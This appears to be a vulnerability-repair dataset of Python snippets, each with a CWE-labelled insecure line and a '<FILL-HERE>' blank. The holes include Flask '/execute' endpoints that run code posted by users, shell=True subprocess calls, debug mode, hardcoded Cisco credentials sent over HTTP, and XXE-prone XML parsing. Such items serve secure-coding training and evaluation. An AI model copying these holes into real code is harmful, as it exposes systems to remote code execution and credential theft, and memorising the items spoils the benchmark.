open(tfile, "w") fp.write("quit\n") fp.close() try: status, output = subproc( 'openssl s_client -connect "%s:%s" -showcerts < "%s"' % (host, port, tfile)) finally: os.unlink(tfile) else: status, output = subproc( 'openssl s_client -connect "%s:%s" -showcerts < /dev/null' % (host, port)) if status != 0: raise OSError(status) certtext = strip_to_x509_cert(output) if not certtext: raise ValueError("Invalid response received from server at %s:%s" % (host, port)) return certtext if __name__ == "__main__": if len(sys.argv) < 2: sys.stderr.write( "Usage: %s HOSTNAME:PORTNUMBER [, HOSTNAME:PORTNUMBER...]\n" % sys.argv[0]) sys.exit(1) for arg in sys.argv[1:]: host, port = arg.split(":") sys.stdout.write(fetch_server_certificate(host, int(port))) sys.exit(0)
python
from __future__ import absolute_import, division, unicode_literals # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.dom import Node # FIXED: <FILL-HERE> import gettext _ = gettext.gettext from . import _base class TreeWalker(_base.NonRecursiveTreeWalker): def getNodeDetails(self, node): if node.nodeType == Node.DOCUMENT_TYPE_NODE: return _base.DOCTYPE, node.name, node.publicId, node.systemId elif node.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE): return _base.TEXT, node.nodeValue elif node.nodeType == Node.ELEMENT_NODE: attrs = {} for attr in list(node.attributes.keys()): attr = node.getAttributeNode(attr) if attr.namespaceURI: attrs[(attr.namespaceURI, attr.localName)] = attr.value else: attrs[(None, attr.name)] = attr.value return (_base.ELEMENT, node.namespaceURI, node.nodeName, attrs, node.hasChildNodes()) elif node.nodeType == Node.COMMENT_NODE: return _base.COMMENT, node.nodeValue elif node.nodeType in (Node.DOCUMENT_NODE, Node.DOCUMENT_FRAGMENT_NODE): return (_base.DOCUMENT,) else: return _base.UNKNOWN, node.nodeType def getFirstChild(self, node): return node.firstChild def getNextSibling(self, node): return node.nextSibling def getParentNode(self, node): return node.parentNode
python
#!/usr/bin/env python # Manipulate sys.path to be able to import rivescript from this local git # repository. import os import sys sys.path.append(os.path.join(os.path.dirname(__file__), "..", "..")) from flask import Flask, request, Response, jsonify import json from rivescript import RiveScript # Set up the RiveScript bot. This loads the replies from `/eg/brain` of the # git repository. bot = RiveScript() bot.load_directory( os.path.join(os.path.dirname(__file__), "..", "brain") ) bot.sort_replies() app = Flask(__name__) @app.route("/reply", methods=["POST"]) def reply(): """Fetch a reply from RiveScript. Parameters (JSON): * username * message * vars """ params = request.json if not params: return jsonify({ "status": "error", "error": "Request must be of the application/json type!", }) username = params.get("username") message = params.get("message") uservars = params.get("vars", dict()) # Make sure the required params are present. if username is None or message is None: return jsonify({ "status": "error", "error": "username and message are required keys", }) # Copy and user vars from the post into RiveScript. if type(uservars) is dict: for key, value in uservars.items(): bot.set_uservar(username, key, value) # Get a reply from the bot. reply = bot.reply(username, message) # Get all the user's vars back out of the bot to include in the response. uservars = bot.get_uservars(username) # Send the response. return jsonify({ "status": "ok", "reply": reply, "vars": uservars, }) @app.route("/") @app.route("/<path:path>") def index(path=None): """On all other routes, just return an example `curl` command.""" payload = { "username": "soandso", "message": "Hello bot", "vars": { "name": "Soandso", } } return Response(r"""Usage: curl -i \ -H "Content-Type: application/json" \ -X POST -d '{}' \ http://localhost:5000/reply""".format(json.dumps(payload)), mimetype="text/plain") if __name__ == "__main__": # BUG: CWE-668: Exposure of Resource to Wrong Sphere # app.run(host='0.0.0.0', debug=True) # FIXED: <FILL-HERE>
python
# BUG: CWE-611: Improper Restriction of XML External Entity Reference # import xml.parsers as parsers # FIXED: <FILL-HERE>
python
import numpy as np import subprocess import json import matplotlib import matplotlib.pyplot as plt NM = range(2,150,4) # NM = range(2,20,2) NREP_small = 10000 NREP_medium = 100 NREP_large = 10 AVG_CPU_TIME = [] res_file = 'riccati_benchmark_numpy_blasfeo.json' RUN = True UPDATE_res = True if not UPDATE_res: print('Warning: not updating result file!') if RUN: for i in range(len(NM)): print('running Riccati benchmark for case NM = {}'.format(NM[i])) code = "" if NM[i] < 30: NREP = NREP_small elif NM[i] < 100: NREP = NREP_medium else: NREP = NREP_large with open('test_riccati_numpy.py.in') as template: code = template.read() code = code.replace('NM', str(NM[i])) code = code.replace('NREP', str(NREP)) with open('test_riccati_numpy.py', 'w+') as bench_file: bench_file.write(code) cmd = 'python test_riccati_numpy.py' # BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') # proc = subprocess.Popen([cmd], shell=True, stdout=subprocess.PIPE) # FIXED: <FILL-HERE> try: outs, errs = proc.communicate() except TimeOutExpired: proc.kill() print('Exception raised at NM = {}'.format(NM[i])) outs, errs = proc.communicate() AVG_CPU_TIME.append([float(outs.decode()), NM[i]]) if UPDATE_res: with open(res_file, 'w+') as res: json.dump(AVG_CPU_TIME, res)
python
#!/usr/bin/env python3 import requests import json url='http://172.16.1.90/ins' switchuser='cisco' switchpassword='cisco' myheaders={'content-type':'application/json-rpc'} payload=[ { "jsonrpc": "2.0", "method": "cli", "params": { "cmd": "show version", "version": 1.2 }, "id": 1 } ] # BUG: CWE-319: Cleartext Transmission of Sensitive Information # response = requests.post(url,data=json.dumps(payload), headers=myheaders,auth=(switchuser,switchpassword)).json() # FIXED: <FILL-HERE> print(response['result']['body']['sys_ver_str'])
python
from flask import Flask, request import subprocess app = Flask(__name__) @app.route("/") def hello(): return "Hello, World!" @app.route('/execute', methods=['POST']) def execute(): with open('runtime.py', 'w') as f: # BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') # f.write(request.values.get('code')) # FIXED: <FILL-HERE> return subprocess.check_output(["python", "runtime.py"]) app.debug=True
python
from flask import Flask, request import subprocess from regcore import settings app = Flask(__name__) @app.route("/") def hello(): return "Hello, World!" @app.route('/execute', methods=['POST']) def execute(): with open('runtime.py', 'w') as f: # BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') # f.write(request.values.get('code')) # FIXED: <FILL-HERE> return subprocess.check_output(["python", "runtime.py"]) app.debug=True
python
import json import subprocess from tempfile import NamedTemporaryFile import pytest from openai.datalib import ( HAS_NUMPY, HAS_PANDAS, NUMPY_INSTRUCTIONS, PANDAS_INSTRUCTIONS, ) @pytest.mark.skipif(not HAS_PANDAS, reason=PANDAS_INSTRUCTIONS) @pytest.mark.skipif(not HAS_NUMPY, reason=NUMPY_INSTRUCTIONS) def test_long_examples_validator() -> None: """ Ensures that long_examples_validator() handles previously applied recommendations, namely dropped duplicates, without resulting in a KeyError. """ # data short_prompt = "a prompt " long_prompt = short_prompt * 500 short_completion = "a completion " long_completion = short_completion * 500 # the order of these matters unprepared_training_data = [ {"prompt": long_prompt, "completion": long_completion}, # 1 of 2 duplicates {"prompt": short_prompt, "completion": short_completion}, {"prompt": long_prompt, "completion": long_completion}, # 2 of 2 duplicates ] with NamedTemporaryFile(suffix=".jsonl", mode="w") as training_data: print(training_data.name) for prompt_completion_row in unprepared_training_data: training_data.write(json.dumps(prompt_completion_row) + "\n") training_data.flush() # BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') # prepared_data_cmd_output = subprocess.run( [f"openai tools fine_tunes.prepare_data -f {training_data.name}"], stdout=subprocess.PIPE, text=True, input="y\ny\ny\ny\ny", # apply all recommendations, one at a time stderr=subprocess.PIPE, encoding="utf-8", shell=True, ) # FIXED: <FILL-HERE> # validate data was prepared successfully assert prepared_data_cmd_output.stderr == "" # validate get_long_indexes() applied during optional_fn() call in long_examples_validator() assert "indices of the long examples has changed" in prepared_data_cmd_output.stdout return prepared_data_cmd_output.stdout
python
from __future__ import absolute_import, division, unicode_literals # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.sax.xmlreader import AttributesNSImpl # FIXED: <FILL-HERE> from ..constants import adjustForeignAttributes, unadjustForeignAttributes prefix_mapping = {} for prefix, localName, namespace in adjustForeignAttributes.values(): if prefix is not None: prefix_mapping[prefix] = namespace def to_sax(walker, handler): """Call SAX-like content handler based on treewalker walker""" handler.startDocument() for prefix, namespace in prefix_mapping.items(): handler.startPrefixMapping(prefix, namespace) for token in walker: type = token["type"] if type == "Doctype": continue elif type in ("StartTag", "EmptyTag"): attrs = AttributesNSImpl(token["data"], unadjustForeignAttributes) handler.startElementNS((token["namespace"], token["name"]), token["name"], attrs) if type == "EmptyTag": handler.endElementNS((token["namespace"], token["name"]), token["name"]) elif type == "EndTag": handler.endElementNS((token["namespace"], token["name"]), token["name"]) elif type in ("Characters", "SpaceCharacters"): handler.characters(token["data"]) elif type == "Comment": pass else: assert False, "Unknown token type" for prefix, namespace in prefix_mapping.items(): handler.endPrefixMapping(prefix) handler.endDocument()
python
#!/usr/bin/env python3 # -*- coding:utf-8 -*- ### # File: test_Quran_api.py # Created: Tuesday, 28th July 2020 3:24:47 pm # Author: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Last Modified: Wednesday, 29th July 2020 1:27:22 am # Modified By: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Copyright (c) 2020 Slishee ### import requests as rq from quran import Quran # res = quran.get_recitations() # res = quran.get_translations() # res = quran.get_languages(language='ur') # res = quran.get_tafsirs() # res = quran.get_chapters(6, language="ur") # res = quran.get_verses(6, recitation=1, translations=21, language="en", text_type="words") # res = quran.get_verse(6, 6) # res = quran.get_juzs() qur = Quran() def test_get_recitations(): assert qur.get_recitations() == rq.get( "http://api.quran.com:3000/api/v3/options/recitations").json() def test_get_translations(): assert qur.get_translations() == rq.get( "http://api.quran.com:3000/api/v3/options/translations").json() def test_get_languages(): assert qur.get_languages(language='ur') == rq.get( "http://api.quran.com:3000/api/v3/options/languages?language=bn").json() def test_get_tafsirs(): assert qur.get_tafsirs() == rq.get( "http://api.quran.com:3000/api/v3/options/tafsirs").json() def test_get_chapter(): assert qur.get_chapter(1, language="en") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1?language=en").json() def test_get_chapters(): qur.get_chapter(language="en") # == rq.get( # "http://api.quran.com:3000/api/v3/chapters?language=en").json() def test_get_chapter_info(): assert qur.get_chapter(1, info=True, language="en") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/info?language=en").json() def test_get_verses(): assert qur.get_verses(1, text_type="words") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words").json() def test_get_verse(): assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1").json() def test_get_juzs(): assert qur.get_juzs() == rq.get( "http://api.quran.com:3000/api/v3/juzs").json() def test_get_tafsirs_from_verse_id(): assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs").json() def test_get_tafsir_from_verse_id(): assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs="ar_baghawy") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy").json() def test_search(): assert qur.search(q="imran", size=20, page=0, language="en") == rq.get( # BUG: CWE-319: Cleartext Transmission of Sensitive Information # "http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en").json() # FIXED: <FILL-HERE> print(test_get_chapters())
python
import platform def download_file(url): import requests local_filename = url.split('/')[-1] # NOTE the stream=True parameter r = requests.get(url, stream=True) with open(local_filename, 'wb') as f: for chunk in r.iter_content(chunk_size=1024): if chunk: # filter out keep-alive new chunks f.write(chunk) #f.flush() commented by recommendation from J.F.Sebastian return local_filename def get_chromiumdrive(): os_version = platform.platform() if 'Windows' in os_version: keyword = 'win' elif 'Darwin' in os_version: keyword = 'mac' elif 'Linux' in os_version: keyword = 'linux' else: assert False, 'Unrecognized operating system: ' + os_version import requests import re from bs4 import BeautifulSoup as BS # BUG: CWE-319: Cleartext Transmission of Sensitive Information # res = requests.get('http://chromedriver.chromium.org/downloads') # FIXED: <FILL-HERE> text = res.text r = re.findall(r'"https://chromedriver\.storage\.googleapis\.com/index\.html\?path=([\d\.]+)/+"', text) url = 'https://chromedriver.storage.googleapis.com/?delimiter=/&prefix={}/'.format(r[0]) res = requests.get(url) text = res.text soup = BS(text, 'xml') for contents in soup.find_all('Contents'): if keyword in contents.find('Key').text: url = 'https://chromedriver.storage.googleapis.com/' + contents.find('Key').text filename = download_file(url) import zipfile with zipfile.ZipFile(filename, 'r') as zip_ref: extracted = zip_ref.namelist() zip_ref.extractall('.') import os import stat st = os.stat(extracted[0]) os.chmod(extracted[0], st.st_mode | stat.S_IEXEC)
python
""" Utilities for XML generation/parsing. """ import re # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.sax.saxutils import XMLGenerator # FIXED: <FILL-HERE> class UnserializableContentError(ValueError): pass class SimplerXMLGenerator(XMLGenerator): def addQuickElement(self, name, contents=None, attrs=None): "Convenience method for adding an element with no children" if attrs is None: attrs = {} self.startElement(name, attrs) if contents is not None: self.characters(contents) self.endElement(name) def characters(self, content): if content and re.search(r'[\x00-\x08\x0B-\x0C\x0E-\x1F]', content): # Fail loudly when content has control chars (unsupported in XML 1.0) # See https://www.w3.org/International/questions/qa-controls raise UnserializableContentError("Control characters are not supported in XML 1.0") XMLGenerator.characters(self, content) def startElement(self, name, attrs): # Sort attrs for a deterministic output. sorted_attrs = dict(sorted(attrs.items())) if attrs else attrs super().startElement(name, sorted_attrs)
python
# Copyright 2020 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import argparse import os import shutil import subprocess import sys def main(): description = 'Packages WebKit build for Clusterfuzz.' parser = argparse.ArgumentParser(description=description) parser.add_argument('--output', help='Name of the output file.') parser.add_argument('--webkit_build', help='WebKit build directory to copy.') parser.add_argument('--clusterfuzz_script', help='Clusterfuzz script to copy.') parser.add_argument('--clang_asan_library', help='Clang ASan library to copy.') opts = parser.parse_args() if os.path.exists(opts.output): shutil.rmtree(opts.output) shutil.copytree(opts.webkit_build, opts.output, symlinks=True) shutil.copyfile( opts.clusterfuzz_script, os.path.join(opts.output, os.path.basename(opts.clusterfuzz_script))) shutil.copyfile( opts.clang_asan_library, os.path.join(opts.output, os.path.basename(opts.clang_asan_library))) zip_command = ['zip', '--symlinks', '-r', os.extsep.join([opts.output, 'zip']), opts.output] # BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') # proc = subprocess.Popen(zip_command) # FIXED: <FILL-HERE> proc.communicate() return proc.returncode if __name__ == '__main__': sys.exit(main())
python
from flask import Flask from flask import render_template from flask import request from flask import jsonify app = Flask(__name__) @app.route('/') def index(): return render_template('index.html') @app.route('/results', methods=['POST']) def results(): # BUG: CWE-704: Incorrect Type Conversion or Cast # a = float(request.form['numberA']) # FIXED: <FILL-HERE> b = float(request.form['numberB']) sum_ab = a + b mult_ab = a * b div_ab = a / b res = { 'a': a, 'b': b, 'sum_ab': sum_ab, 'mult_ab': mult_ab, 'div_ab': div_ab } return jsonify(res)
python
# Copyright 2020 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Produces C++ file with sorted array of UMA User Actions strings.""" import argparse import sys import os # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.etree import ElementTree # FIXED: <FILL-HERE> def not_user_triggered_actions(actions_file_path): """Generates list of not-user triggered and non-obsolete UMA User Actions. Args: actions_file_path: path to actions.xml file """ actions = ElementTree.parse(actions_file_path).getroot() for action in actions: if action.find('obsolete') is not None: continue if action.attrib.get('not_user_triggered') == 'true': yield action.attrib['name'] def main(actions_file_path, output_file_path): """Produces C++ file with sorted array of UMA User Actions strings. Array is a global kNotUserTriggeredActions constant in anonymous namespace. Args: actions_file_path: path to actions.xml file output_file_path: path to output C++ file """ actions = not_user_triggered_actions(actions_file_path) if not actions: sys.stderr.write( 'There are no not-user triggered and non-obsolete in %s', actions_file_path) return -1 with open(output_file_path ,'w') as output_file: output_file.write('// Generated by %s\n' % sys.argv[0]) output_file.write('namespace {\n') output_file.write('const char* kNotUserTriggeredActions[] = {\n') for action in sorted(actions): output_file.write(' "%s",\n' % action) output_file.write('};\n') output_file.write('} // namespace\n') if __name__ == '__main__': parser = argparse.ArgumentParser(description=__doc__) parser.add_argument( '-a', '--actions', help='path to actions.xml file') parser.add_argument( '-o', '--output', help='path to output source file') args = parser.parse_args() sys.exit(main(args.actions, args.output))
python
from flask import Flask app = Flask(__name__) @app.route("/") def hello_world(): return "Hello World!" if __name__ == "__main__": # BUG: CWE-668: Exposure of Resource to Wrong Sphere # app.run(host="0.0.0.0", port=8080) # FIXED: <FILL-HERE>
python
from flask import Flask app = Flask(__name__) @app.route('/home') @app.route('/') def home(): return "Welcome" # Specifying the methodes of a page @app.route('/onlypost', methods=['POST']) def post_req(): return "This page only allow post" # This will not show anyway if __name__ == "__main__": # BUG: CWE-489: Active Debug Code # app.run(debug=True) # FIXED: <FILL-HERE>
python
from __future__ import absolute_import, division, unicode_literals # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.dom import Node # FIXED: <FILL-HERE> from . import base class TreeWalker(base.NonRecursiveTreeWalker): def getNodeDetails(self, node): if node.nodeType == Node.DOCUMENT_TYPE_NODE: return base.DOCTYPE, node.name, node.publicId, node.systemId elif node.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE): return base.TEXT, node.nodeValue elif node.nodeType == Node.ELEMENT_NODE: attrs = {} for attr in list(node.attributes.keys()): attr = node.getAttributeNode(attr) if attr.namespaceURI: attrs[(attr.namespaceURI, attr.localName)] = attr.value else: attrs[(None, attr.name)] = attr.value return (base.ELEMENT, node.namespaceURI, node.nodeName, attrs, node.hasChildNodes()) elif node.nodeType == Node.COMMENT_NODE: return base.COMMENT, node.nodeValue elif node.nodeType in (Node.DOCUMENT_NODE, Node.DOCUMENT_FRAGMENT_NODE): return (base.DOCUMENT,) else: return base.UNKNOWN, node.nodeType def getFirstChild(self, node): return node.firstChild def getNextSibling(self, node): return node.nextSibling def getParentNode(self, node): return node.parentNode
python
#!/usr/bin/env python3 # -*- coding:utf-8 -*- ### # File: test_Quran_api.py # Created: Tuesday, 28th July 2020 3:24:47 pm # Author: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Last Modified: Wednesday, 29th July 2020 1:27:22 am # Modified By: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Copyright (c) 2020 Slishee ### import requests as rq from quran import Quran # res = quran.get_recitations() # res = quran.get_translations() # res = quran.get_languages(language='ur') # res = quran.get_tafsirs() # res = quran.get_chapters(6, language="ur") # res = quran.get_verses(6, recitation=1, translations=21, language="en", text_type="words") # res = quran.get_verse(6, 6) # res = quran.get_juzs() qur = Quran() def test_get_recitations(): assert qur.get_recitations() == rq.get( # BUG: CWE-319: Cleartext Transmission of Sensitive Information # "http://api.quran.com:3000/api/v3/options/recitations").json() # FIXED: <FILL-HERE> def test_get_translations(): assert qur.get_translations() == rq.get( "http://api.quran.com:3000/api/v3/options/translations").json() def test_get_languages(): assert qur.get_languages(language='ur') == rq.get( "http://api.quran.com:3000/api/v3/options/languages?language=bn").json() def test_get_tafsirs(): assert qur.get_tafsirs() == rq.get( "http://api.quran.com:3000/api/v3/options/tafsirs").json() def test_get_chapter(): assert qur.get_chapter(1, language="en") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1?language=en").json() def test_get_chapters(): qur.get_chapter(language="en") # == rq.get( # "http://api.quran.com:3000/api/v3/chapters?language=en").json() def test_get_chapter_info(): assert qur.get_chapter(1, info=True, language="en") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/info?language=en").json() def test_get_verses(): assert qur.get_verses(1, text_type="words") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words").json() def test_get_verse(): assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1").json() def test_get_juzs(): assert qur.get_juzs() == rq.get( "http://api.quran.com:3000/api/v3/juzs").json() def test_get_tafsirs_from_verse_id(): assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs").json() def test_get_tafsir_from_verse_id(): assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs="ar_baghawy") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy").json() def test_search(): assert qur.search(q="imran", size=20, page=0, language="en") == rq.get( "http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en").json() print(test_get_chapters())
python
from __future__ import absolute_import, division, unicode_literals # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.dom.pulldom import START_ELEMENT, END_ELEMENT, \ COMMENT, IGNORABLE_WHITESPACE, CHARACTERS # FIXED: <FILL-HERE> from . import _base from ..constants import voidElements class TreeWalker(_base.TreeWalker): def __iter__(self): ignore_until = None previous = None for event in self.tree: if previous is not None and \ (ignore_until is None or previous[1] is ignore_until): if previous[1] is ignore_until: ignore_until = None for token in self.tokens(previous, event): yield token if token["type"] == "EmptyTag": ignore_until = previous[1] previous = event if ignore_until is None or previous[1] is ignore_until: for token in self.tokens(previous, None): yield token elif ignore_until is not None: raise ValueError("Illformed DOM event stream: void element without END_ELEMENT") def tokens(self, event, next): type, node = event if type == START_ELEMENT: name = node.nodeName namespace = node.namespaceURI attrs = {} for attr in list(node.attributes.keys()): attr = node.getAttributeNode(attr) attrs[(attr.namespaceURI, attr.localName)] = attr.value if name in voidElements: for token in self.emptyTag(namespace, name, attrs, not next or next[1] is not node): yield token else: yield self.startTag(namespace, name, attrs) elif type == END_ELEMENT: name = node.nodeName namespace = node.namespaceURI if name not in voidElements: yield self.endTag(namespace, name) elif type == COMMENT: yield self.comment(node.nodeValue) elif type in (IGNORABLE_WHITESPACE, CHARACTERS): for token in self.text(node.nodeValue): yield token else: yield self.unknown(type)
python
""" Python AIML Validator, v1.1 Author: Cort Stratton (cort@cortstratton.org) Usage: aimlvalidate.py file1.aiml [file2.aiml ...] """ # Revision history: # # 1.0.1: Redirected stderr to stdout # 1.0: Initial release import aiml import glob import sys # BUG: CWE-611: Improper Restriction of XML External Entity Reference # import xml.sax # FIXED: <FILL-HERE> if __name__ == "__main__": # Need input file(s)! if len(sys.argv) < 2: print __doc__ sys.exit(2) # AimlParser prints its errors to stderr; we redirect stderr to stdout. sys.stderr = sys.stdout # Iterate over input files validCount = 0 docCount = 0 for arg in sys.argv[1:]: # Input files can contain wildcards; iterate over matches for f in glob.glob(arg): parser = xml.sax.make_parser(["aiml.AimlParser"]) handler = parser.getContentHandler() docCount += 1 print "%s:" % f try: # Attempt to parse the file. parser.parse(f) # Check the number of parse errors. if handler.getNumErrors() == 0: validCount += 1 print "PASSED\n" else: print "FAILED\n" except xml.sax.SAXParseException, msg: # These errors occur if the document does not contain # well-formed XML (e.g. open or unbalanced tags). If # they occur, parsing the whole document is aborted # immediately. print "FATAL ERROR: %s\n" % msg # Print final results print "%d out of %d documents are AIML 1.0.1 compliant." % (validCount, docCount) if docCount == validCount: print "Congratulations!" else: print """For help resolving syntax errors, refer to the AIML 1.0.1 specification available on the web at: http://alicebot.org/TR/2001/WD-aiml"""
python
#!/usr/bin/env python # Copyright (c) 2010 ActiveState Software Inc. import sys from os.path import join, dirname, abspath, exists import subprocess import shutil def do_clean_unicode_directories(): """ Remove the unicode directories after running `ci2 test`.""" dirpath = dirname(abspath(__file__)) for name in ("scan_inputs", "scan_outputs", "scan_actual"): unipath = join(dirpath, name, "unicode") if exists(unipath): if sys.platform.startswith("win"): # Must use the Windows rd command, as the Python tools will # break trying to walk over the directory contents. cmd = ["rd", "/s", "/q"] cmd.append(unipath) # BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') # p = subprocess.Popen(cmd, cwd=dirpath, shell=True) # FIXED: <FILL-HERE> retval = p.wait() else: shutil.rmtree(unipath) def main(): do_clean_unicode_directories() if __name__ == "__main__": main()
python
""" Important note on windows: you may need to manually copy the libmsvcrXXX.a files to libmsvcrXXXd.a """ import os import glob import sys from subprocess import Popen, PIPE import subprocess FORTRAN_ROOT = os.path.abspath('..') FORTRAN_ROOT = r'D:\Code\REFPROP-cmake\FORTRANsrc' # Call f2py to generate .pyf file interface_files = ['PASS_FTN.FOR'] interface_file_strings = [os.path.join(FORTRAN_ROOT, f) for f in interface_files] print('Writing the .pyf file with numpy.f2py, please be patient...') print(interface_file_strings) args = ['python','-m','numpy.f2py','--quiet','-h','f2pyREFPROP.pyf','-m','f2pyREFPROP','--overwrite-signature'] + interface_file_strings p = Popen(args, stdin=PIPE, stdout=PIPE, stderr=PIPE) output, err = p.communicate() rc = p.returncode with open('stdout.txt','w') as fp: fp.write(output.decode('utf-8')) with open('stderr.txt','w') as fp: fp.write(err.decode('utf-8')) source_files = glob.glob(os.path.join(FORTRAN_ROOT, "*.FOR")) args = ['python','-m','numpy.f2py','-c','--f90flags="-fno-range-check -ffree-line-length-none"','--fcompiler=gnu95','--compiler=mingw32','f2pyREFPROP.pyf'] + source_files # BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') # subprocess.call(args, shell = True) # FIXED: <FILL-HERE>
python
import numpy as np import subprocess import json import matplotlib import matplotlib.pyplot as plt NM = range(2,150,4) # NM = range(2,20,2) NREP_small = 10000 NREP_medium = 100 NREP_large = 10 AVG_CPU_TIME = [] res_file = 'riccati_benchmark_julia.json' RUN = True UPDATE_res = True if not UPDATE_res: print('Warning: not updating result file!') if RUN: # get MKL subprocess.run(["julia", "-q", "-e", "import Pkg; Pkg.activate(\".\"); Pkg.instantiate()"], check=True) for i in range(len(NM)): print('running Riccati benchmark for case NM = {}'.format(NM[i])) code = "" if NM[i] < 30: NREP = NREP_small elif NM[i] < 100: NREP = NREP_medium else: NREP = NREP_large # BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') # proc = subprocess.Popen([f"julia -q --project=. test_riccati.jl {NM[i]} {NREP}"], shell=True, stdout=subprocess.PIPE) # FIXED: <FILL-HERE> try: outs, errs = proc.communicate() except TimeOutExpired: proc.kill() print('Exception raised at NM = {}'.format(NM[i])) outs, errs = proc.communicate() AVG_CPU_TIME.append([float(outs.decode()), NM[i]]) if UPDATE_res: with open(res_file, 'w+') as res: json.dump(AVG_CPU_TIME, res)
python
#!/usr/bin/env python3 import requests import json url='http://172.16.1.90/ins' switchuser='cisco' switchpassword='cisco' myheaders={'content-type':'application/json-rpc'} payload=[ { "jsonrpc": "2.0", "method": "cli", "params": { "cmd": "hostname nx-osv-1-new", "version": 1.2 }, "id": 1 } ] # BUG: CWE-319: Cleartext Transmission of Sensitive Information # response = requests.post(url,data=json.dumps(payload), headers=myheaders,auth=(switchuser,switchpassword)).json() # FIXED: <FILL-HERE>
python
#!/usr/bin/env python # # See the accompanying LICENSE file. # import urllib2 import hashlib import re sqlitevers=( '3081101', '3081100', '3081002', '3081001', '3081000', '3080900', '3080803', '3080802', '3080801', '3080800', '3080704', '3080703', '3080702', '3080701', '3080700', '3080600', '3080500', '3080403', '3080402', '3080401', '3080400', '3080301', '3080300', '3080200', '3080100', '3080002', '3080001', '3080000', '3071700', '3071602', '3071601', '3071600', '3071502', '3071501', '3071500', '3071401', '3071400', '3071300', '3071201', '3071200', '3071100', '3071000', '3070900', '3070800', '3070701', '3070700', '3070603', '3070602', '3070601', '3070600', ) # Checks the checksums file def getline(url): for line in open("checksums", "rtU"): line=line.strip() if len(line)==0 or line[0]=="#": continue l=[l.strip() for l in line.split()] if len(l)!=4: print "Invalid line in checksums file:", line raise ValueError("Bad checksums file") if l[0]==url: return l[1:] return None def check(url, data): # BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm # d=["%s" % (len(data),), hashlib.sha1(data).hexdigest(), hashlib.md5(data).hexdigest()] # FIXED: <FILL-HERE> line=getline(url) if line: if line!=d: print "Checksums mismatch for", url print "checksums file is", line print "Download is", d else: print url, if url.endswith(".zip"): print " ", print d[0], d[1], d[2] # They keep messing with where files are in URI - this code is also in setup.py def fixup_download_url(url): ver=re.search("3[0-9]{6}", url) if ver: ver=int(ver.group(0)) if ver>=3071600: if ver>=3080800: year="2015" elif ver>=3080300: year="2014" else: year="2013" if "/"+year+"/" not in url: url=url.split("/") url.insert(3, year) return "/".join(url) return url for v in sqlitevers: # Windows amalgamation AURL="https://sqlite.org/sqlite-amalgamation-%s.zip" % (v,) AURL=fixup_download_url(AURL) try: data=urllib2.urlopen(AURL).read() except: print AURL raise check(AURL, data) # All other platforms amalgamation AURL="https://sqlite.org/sqlite-autoconf-%s.tar.gz" % (v,) AURL=fixup_download_url(AURL) try: data=urllib2.urlopen(AURL).read() except: print AURL raise check(AURL, data)
python
from flask import Flask, request import subprocess app = Flask(__name__) @app.route("/") def hello(): return "I was started without a Procfile" @app.route('/execute', methods=['POST']) def execute(): with open('runtime.py', 'w') as f: # BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') # f.write(request.values.get('code')) # FIXED: <FILL-HERE> return subprocess.check_output(["python", "runtime.py"]) app.debug=True
python
